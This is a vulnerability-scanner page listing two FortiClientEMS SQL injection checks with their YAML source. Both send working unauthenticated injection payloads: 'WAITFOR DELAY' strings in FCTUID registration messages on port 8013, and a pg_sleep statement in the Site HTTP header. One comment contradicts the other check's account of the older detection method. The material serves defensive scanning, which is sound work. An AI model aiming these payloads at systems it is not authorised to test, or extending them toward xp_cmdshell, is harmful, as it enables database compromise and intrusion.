FortiClientEMS — 2 vulnerability checks

noctis ships 2 vulnerability checks for FortiClientEMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Fortinet FortiClientEMS FCTID FCTUID SQL injection

CVECVE-2023-48788
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Servicesfctid, unknown, ssl
Ports8013
Detectionscript, tcp_open, tcp_send, tcp_close, set_var, match · highest QoD 75
Feedtests/vulnerabilities/forticlientems/CVE-2023-48788.yaml

Checks the FortiClient EMS endpoint service (FcmDaemon, TCP 8013 over TLS) for the unauthenticated SQL injection in the FCTUID field of client registration messages. The test first sends a probe message and needs the EMS probe reply, which also gives the EMS version. It then sends three registration messages whose FCTUID closes the SQL string and adds a "WAITFOR DELAY" of 0, 6 and 2 seconds. The server is reported when the 6 and 2 second messages are each answered that much later than the 0 second control, which shows the injected statement ran on the database. The injected statement only waits: it changes no data or setting, but the registration attempts may show up in the EMS logs or endpoint list. When the delays are not seen but the reported EMS version is in an affected range (7.0.1 to 7.0.10, 7.2.0 to 7.2.2), a lower-confidence version finding is raised instead.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends {{probe_msg}} on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Opens a persistent TCP/TLS socket
  7. Sends {{reg.d0}} on the open socket
  8. Opens a persistent TCP/TLS socket
  9. Sends {{reg.d6}} on the open socket
  10. Opens a persistent TCP/TLS socket
  11. Sends {{reg.d2}} on the open socket
  12. Checks ems.ver for ^[0-9] → finding QoD 75: FortiClientEMS FCTUID SQL injection (WAITFOR delay confirmed)
  13. Checks ems.ver for ^7\.(0|2)\.[0-9]+$ → finding QoD 70: FortiClientEMS FCTUID SQL injection (affected version)

References:

Feed source — tests/vulnerabilities/forticlientems/CVE-2023-48788.yaml
# Fortinet FortiClientEMS FCTID SQL injection (CVE-2023-48788)
#
# FcmDaemon.exe, the EMS service that enrolled FortiClient endpoints talk to,
# listens on TCP 8013 (TLS) and speaks a line-based text protocol. It hands the
# FCTUID field of the message header to FCTDas.exe, which splices it into
# Microsoft SQL Server queries unescaped. A quote in FCTUID therefore ends the
# string literal and stacked statements run as the database user (sysadmin on a
# default install, so xp_cmdshell → SYSTEM). Fixed in 7.2.3 and 7.0.11.
#
# Detection (each message on its own TLS connection, as the client does):
#   1. Fingerprint — a PROBE message (X-FCCK-PROBE: PROBE_FEATURE_BITMAP0|1|)
#      makes FcmDaemon answer "FCPROBERPLY: ...|EMSVER|7002002|...". Nothing
#      else runs unless that reply came back; EMSVER also picks the register
#      layout (7.2.x: SYSINFO|<b64>|, 7.0.x: SYSINFO||<b64>).
#   2. Time-based proof (QoD 75) — three REGISTER messages whose FCTUID is
#      "<uid>';WAITFOR DELAY '00:00:0N';--" with N = 0 (control), 6 and 2.
#      FcmDaemon answers (or closes) only once the query has run, so a
#      vulnerable server holds the 6 s message ~6 s and the 2 s one ~2 s
#      longer than the control (k times that if the FCTUID reaches k queries,
#      k <= 3). Both windows and their ~3:1 ratio must match, so a server
#      that is merely slow or tarpits every message is not reported. The payload has no
#      "=" (7.2.x cuts the input at "=") and survives the 7.2.x upper-casing.
#      WAITFOR only waits: nothing is written and no setting is changed.
#   3. Version fallback (QoD 70) — EMSVER in 7.0.1–7.0.10 / 7.2.0–7.2.2 when
#      the timing proof did not fire (e.g. the daemon answers before the query
#      ends, or no endpoint is enrolled so the vulnerable path is idle).
#
# The previous revision posted a quote to an HTTP /api/v1/auth endpoint the
# product does not have and matched generic SQL error words (#2347).
#
# Message layout from the Metasploit module forticlient_ems_fctid_sqli.rb and
# the Horizon3 PoC (github.com/horizon3ai/CVE-2023-48788); the WAITFOR proof is
# the one Horizon3 describe in their deep dive.
uid: 03b735a4-7b45-4ee5-a42d-7f459c3adfc4
name: "Fortinet FortiClientEMS FCTID FCTUID SQL injection (CVE-2023-48788)"
description: |
  Checks the FortiClient EMS endpoint service (FcmDaemon, TCP 8013 over TLS)
  for the unauthenticated SQL injection in the FCTUID field of client
  registration messages. The test first sends a probe message and needs the
  EMS probe reply, which also gives the EMS version. It then sends three
  registration messages whose FCTUID closes the SQL string and adds a
  "WAITFOR DELAY" of 0, 6 and 2 seconds. The server is reported when the 6
  and 2 second messages are each answered that much later than the 0 second
  control, which shows the injected statement ran on the database. The
  injected statement only waits: it changes no data or setting, but the
  registration attempts may show up in the EMS logs or endpoint list. When
  the delays are not seen but the reported EMS version is in an affected range (7.0.1 to 7.0.10, 7.2.0 to 7.2.2), a
  lower-confidence version finding is raised instead.
cves: [CVE-2023-48788]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.20
tags: [fortinet, forticlientems, fctid, sqli, mssql, time-based, kev]
services: [fctid, unknown, ssl]
ports: [8013]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-48788"
  - "https://www.fortiguard.com/psirt/FG-IR-24-007"
  - "https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/"
  - "https://github.com/horizon3ai/CVE-2023-48788"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb"

vars:
  fct_uid: "CBE8FC122B1A46D18C3541E1A8EFF7BD"

steps:
  # ── 1. Fingerprint: PROBE → FCPROBERPLY with EMSVER ───────────────────────
  - id: probe-msg
    action: script
    store_as: probe_msg
    code: |
      let m = "MSG_HEADER: FCTUID=" + fct_uid + "\nSIZE=    {SIZE}\nX-FCCK-PROBE: PROBE_FEATURE_BITMAP0|1|\nX-FCCK-PROBE-END\r\n\r\n";
      let n = m.len() - 6;
      let total = n + `${n}`.len();
      if `${total}`.len() != `${n}`.len() { total += 1; }
      m.replace("{SIZE}", `${total}`);
      m

  - id: probe-open
    action: tcp_open
    handle: probe
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: probe_conn

  - id: probe-send
    action: tcp_send
    handle: probe
    condition: "probe_conn.connected == true"
    send: "{{probe_msg}}"
    timeout_secs: 5
    store_as: probe

  - id: probe-close
    action: tcp_close
    handle: probe

  - id: ems
    action: script
    condition: "probe_conn.connected == true && type_of(probe.response) == \"string\""
    store_as: ems
    code: |
      let r = #{ ok: false, ver: "", is72: false, affected: false };
      let v = eregmatch("FCPROBERPLY:[^\n]*\\|EMSVER\\|([0-9]{7})\\|", probe.response);
      if type_of(v) == "array" && v.len() > 1 {
        let s = v[1];
        let major = int(substr(s, 0, 1)) / 10;
        let minor = int(substr(s, 2, 3));
        let patch = int(substr(s, 4, 6));
        r.ok = true;
        r.ver = `${major}.${minor}.${patch}`;
        r.is72 = major > 7 || (major == 7 && minor >= 2);
        r.affected = major == 7 && ((minor == 2 && patch <= 2) || (minor == 0 && patch >= 1 && patch <= 10));
      }
      r

  - id: ems-init
    action: set_var
    var_name: ems_ok
    var_value: false

  - id: ems-found
    action: set_var
    condition: "type_of(ems) == \"map\" && ems.ok == true"
    var_name: ems_ok
    var_value: true

  # ── 2. Time-based proof: WAITFOR DELAY 0 / 6 / 2 in FCTUID ────────────────
  - id: register-msgs
    action: script
    condition: "ems_ok == true"
    store_as: reg
    code: |
      let info = "FCTOS=WIN64\nOSVER=Microsoft Windows 10 Professional Edition, 64-bit (build 19045)\nRSENG_VER=1.00182\nCOM_MODEL=VMware7,1\nAVSIG_VER=1.00000\nUTC=1721756626\nPC_DOMAIN=\nCOM_MAN=VMware, Inc.\nCPU=Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz\nCOM_SN=VMware-56 4d 8a d5 7b 39 3b 0d-33 c6 25 6a e4 51 f7 4d\nDHCP_SERVER=None\nFCTVER=7.2.2.0864\nEP_ONNETCHKSUM=0\nAVENG_VER=6.00287\nAPPSIG_VER=28.00831\nUSER=noctis\nAPPENG_VER=4.00082\nVULSIG_VER=1.00708\nAVALSIG_VER=0.00000\nVULENG_VER=2.00037\nAV_PROTECTED=1\nAVALENG_VER=0.00000\nPEER_IP=\nENABLED_FEATURE_BITMAP=16\nEP_OFFNETCHKSUM=0\nINSTALLED_FEATURE_BITMAP=420727\nEP_CHKSUM=0\nHIDDEN_FEATURE_BITMAP=418087\nGROUP_TAG=\nENABLED_APPS=0\nINSTALLED_APPS=0\nDISKENC=\nHOSTNAME=noctis\nAV_PRODUCT=\nFCT_SN=FCT8003173689730\nINSTALLUID=5731532B-2E28-48F0-ACCF-4280E483EE14\nNWIFS=Ethernet0|10.0.40.85|00-50-56-84-33-b2|10.0.40.254|f4-4e-05-4f-6c-48|1|*|0\nMEM=16383\nHDD=119\nDOMAIN=\nWORKGROUP=WORKGROUP\nUSER_SID=S-1-5-21-10-20-30-500\nADGUID=\nEP_FGTCHKSUM=0\nEP_RULECHKSUM=0\nWF_FILESCHKSUM=0\nEP_APPCTRLCHKSUM=0\n";
      let sysinfo = if ems.is72 { "X-FCCK-REGISTER:SYSINFO|" + base64_encode(info) + "|\r\n" } else { "X-FCCK-REGISTER:SYSINFO||" + base64_encode(info) + "\r\n" };
      let out = #{};
      for d in [0, 6, 2] {
        let m = "MSG_HEADER: FCTUID=" + fct_uid + "';WAITFOR DELAY '00:00:0" + d + "';--\nSIZE=     {SIZE}\r\n\n" + sysinfo + "\nX-FCCK-REGISTER-END\r\n\r\n";
        let n = m.len() - 6;
        let total = n + `${n}`.len();
        if `${total}`.len() != `${n}`.len() { total += 1; }
        m.replace("{SIZE}", `${total}`);
        out["d" + d] = m;
      }
      out

  - id: ctl-open
    action: tcp_open
    handle: ctl
    condition: "ems_ok == true"
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: ctl_conn

  # Read waits: up to 12 s for the first reply byte (or the close). The
  # duration is measured from the write to the end of the read.
  - id: ctl-send
    action: tcp_send
    handle: ctl
    condition: "ems_ok == true && ctl_conn.connected == true"
    send: "{{reg.d0}}"
    timeout_secs: 12
    store_as: ctl

  - id: ctl-close
    action: tcp_close
    handle: ctl

  - id: inj6-open
    action: tcp_open
    handle: inj6
    condition: "ems_ok == true && type_of(ctl) == \"map\" && ctl.sent == true && ctl.duration_ms < 4000"
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: inj6_conn

  - id: inj6-send
    action: tcp_send
    handle: inj6
    condition: "ems_ok == true && type_of(inj6_conn) == \"map\" && inj6_conn.connected == true"
    send: "{{reg.d6}}"
    timeout_secs: 25
    store_as: inj6

  - id: inj6-close
    action: tcp_close
    handle: inj6

  - id: inj2-open
    action: tcp_open
    handle: inj2
    condition: "ems_ok == true && type_of(inj6) == \"map\" && inj6.sent == true && inj6.duration_ms >= ctl.duration_ms + 5000 && inj6.duration_ms < 24500"
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: inj2_conn

  - id: inj2-send
    action: tcp_send
    handle: inj2
    condition: "ems_ok == true && type_of(inj2_conn) == \"map\" && inj2_conn.connected == true"
    send: "{{reg.d2}}"
    timeout_secs: 12
    store_as: inj2

  - id: inj2-close
    action: tcp_close
    handle: inj2

  - id: sqli-init
    action: set_var
    var_name: sqli_ok
    var_value: false

  # Delays over the control: 6 s message +5..+21 s, 2 s message +1.5..+7 s
  # (the daemon may run the FCTUID through up to ~3 queries, k x 6 / k x 2),
  # the 6 s one at least 3 s longer than the 2 s one, and their ratio 2..4.5
  # (3 expected): a server whose latency merely varies is not reported.
  - id: sqli-proven
    action: set_var
    condition: "ems_ok == true && type_of(inj2) == \"map\" && inj2.sent == true && inj6.duration_ms >= ctl.duration_ms + 5000 && inj6.duration_ms <= ctl.duration_ms + 21000 && inj2.duration_ms >= ctl.duration_ms + 1500 && inj2.duration_ms <= ctl.duration_ms + 7000 && inj6.duration_ms >= inj2.duration_ms + 3000 && (inj6.duration_ms - ctl.duration_ms) * 2 >= (inj2.duration_ms - ctl.duration_ms) * 4 && (inj6.duration_ms - ctl.duration_ms) * 2 <= (inj2.duration_ms - ctl.duration_ms) * 9"
    var_name: sqli_ok
    var_value: true

  - id: report-sqli
    action: match
    source: ems.ver
    pattern: "^[0-9]"
    condition: "sqli_ok == true"
    on_match:
      finding:
        title: "FortiClientEMS FCTUID SQL injection (WAITFOR delay confirmed)"
        description: >
          The FortiClient EMS endpoint service passes the FCTUID field of client
          registration messages into Microsoft SQL Server queries without
          escaping. A stacked WAITFOR DELAY statement in that field delayed the
          server's answer by the requested time, so an unauthenticated attacker
          can run arbitrary SQL, and through xp_cmdshell commands as SYSTEM.
        remediation: "Upgrade FortiClient EMS to 7.2.3 / 7.0.11 or later."
        confidence_delta: 0.55   # 0.20 + 0.55 = 0.75
        qod: 75
        evidence: "EMS {{ems.ver}} (EMSVER probe); FCTUID ...';WAITFOR DELAY '00:00:0N';-- answered after {{ctl.duration_ms}} ms (N=0), {{inj6.duration_ms}} ms (N=6), {{inj2.duration_ms}} ms (N=2)"
      stop: true

  # ── 3. Version fallback (QoD 70) ──────────────────────────────────────────
  - id: report-version
    action: match
    source: ems.ver
    pattern: "^7\\.(0|2)\\.[0-9]+$"
    condition: "ems_ok == true && sqli_ok == false && ems.affected == true"
    on_match:
      finding:
        title: "FortiClientEMS FCTUID SQL injection (affected version)"
        description: >
          The FortiClient EMS endpoint service reports a version affected by
          CVE-2023-48788 (7.0.1 to 7.0.10, 7.2.0 to 7.2.2), an unauthenticated
          SQL injection in the FCTUID field of client registration messages.
          The injected delay was not observed, so this finding rests on the
          reported version.
        remediation: "Upgrade FortiClient EMS to 7.2.3 / 7.0.11 or later."
        confidence_delta: 0.50   # 0.20 + 0.50 = 0.70
        qod: 70
        evidence: "FCPROBERPLY EMSVER → FortiClient EMS {{ems.ver}}"

Fortinet FortiClientEMS Unauthenticated SQL Injection via Site Header

CVECVE-2026-21643
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/forticlientems/CVE-2026-21643.yaml

Tests for CVE-2026-21643: FortiClientEMS ≤ 7.4.4 injects the Site HTTP header value unsanitized into a PostgreSQL search_path query at /api/v1/init_consts. Time-based blind detection via pg_sleep(8) — a ≥8s response delay + HTTP 500 confirms the injection executed on the backend database.

How noctis detects it

  1. HTTP(S) request GET /api/v1/init_consts
  2. Checks init_resp.body for SITES_ENABLED
  3. HTTP(S) request GET /api/v1/init_consts
  4. Checks sqli_resp.body for "error" → finding QoD 75: FortiClientEMS time-based SQLi confirmed — Site header pg_sleep(8) caused HTTP 500 after delay ≥8s (CVE-2026-21643)

References:

Feed source — tests/vulnerabilities/forticlientems/CVE-2026-21643.yaml
# Fortinet FortiClientEMS SQL Injection via Site Header — CVE-2026-21643
#
# FortiClientEMS ≤ 7.4.4 passes the `Site` HTTP header value directly into a
# PostgreSQL search_path statement at /api/v1/init_consts without sanitization.
# An unauthenticated attacker injects `; SELECT pg_sleep(N)--` to cause a
# time-based blind SQLi delay, confirming vulnerability.
#
# Note: noctis already implements CVE-2023-48788 (FortiClientEMS SQLi via
# /api/v1/auth body). This CVE uses a different endpoint and injection vector.
#
# Detection:
#   Step 1 — GET /api/v1/init_consts (no Site header) → SITES_ENABLED in body
#             confirms FortiClientEMS identity
#   Step 2 — GET /api/v1/init_consts with Site: tenant1; SELECT pg_sleep(8)--
#             → 500 after ≥8s delay proves pg_sleep executed (QoD 75)
uid: defc462a-2458-4446-8d8a-4722d55f3bce
name: "Fortinet FortiClientEMS Unauthenticated SQL Injection via Site Header"
description: |
  Tests for CVE-2026-21643: FortiClientEMS ≤ 7.4.4 injects the Site HTTP header
  value unsanitized into a PostgreSQL search_path query at /api/v1/init_consts.
  Time-based blind detection via pg_sleep(8) — a ≥8s response delay + HTTP 500
  confirms the injection executed on the backend database.
cves: [CVE-2026-21643]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [fortinet, forticlientems, sqli, postgresql, time-based, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2026-21643"
  - "https://www.fortiguard.com/psirt/FG-IR-2026-21643"
  - "https://github.com/0xBlackash/CVE-2026-21643"

steps:
  - id: init-vars
    action: set_var
    var_name: forticlient_detected
    var_value: false

  # Step 1: fingerprint — SITES_ENABLED in response confirms FortiClientEMS
  - id: fingerprint-probe
    action: http_request
    method: GET
    path: /api/v1/init_consts
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: init_resp

  - id: forticlient-identity
    action: match
    source: init_resp.body
    pattern: 'SITES_ENABLED'
    condition: "init_resp.status == 200"
    on_match:
      set_vars:
        forticlient_detected: true

  # Step 2: time-based SQL injection via Site header
  # pg_sleep(8) causes an 8-second delay then HTTP 500 on vulnerable instances
  - id: sqli-probe
    action: http_request
    method: GET
    path: /api/v1/init_consts
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 20
    headers:
      Site: "tenant1; SELECT pg_sleep(8)--"
    condition: "forticlient_detected == true"
    store_as: sqli_resp

  # Confirm: 500 status AND ≥8s delay both required to rule out coincidental errors
  - id: sqli-confirm
    action: match
    source: sqli_resp.body
    pattern: '"error"'
    condition: "forticlient_detected == true && sqli_resp.status == 500 && sqli_resp.duration_ms >= 8000"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "FortiClientEMS time-based SQLi confirmed — Site header pg_sleep(8) caused HTTP 500 after delay ≥8s (CVE-2026-21643)"

View these feeds on GitHub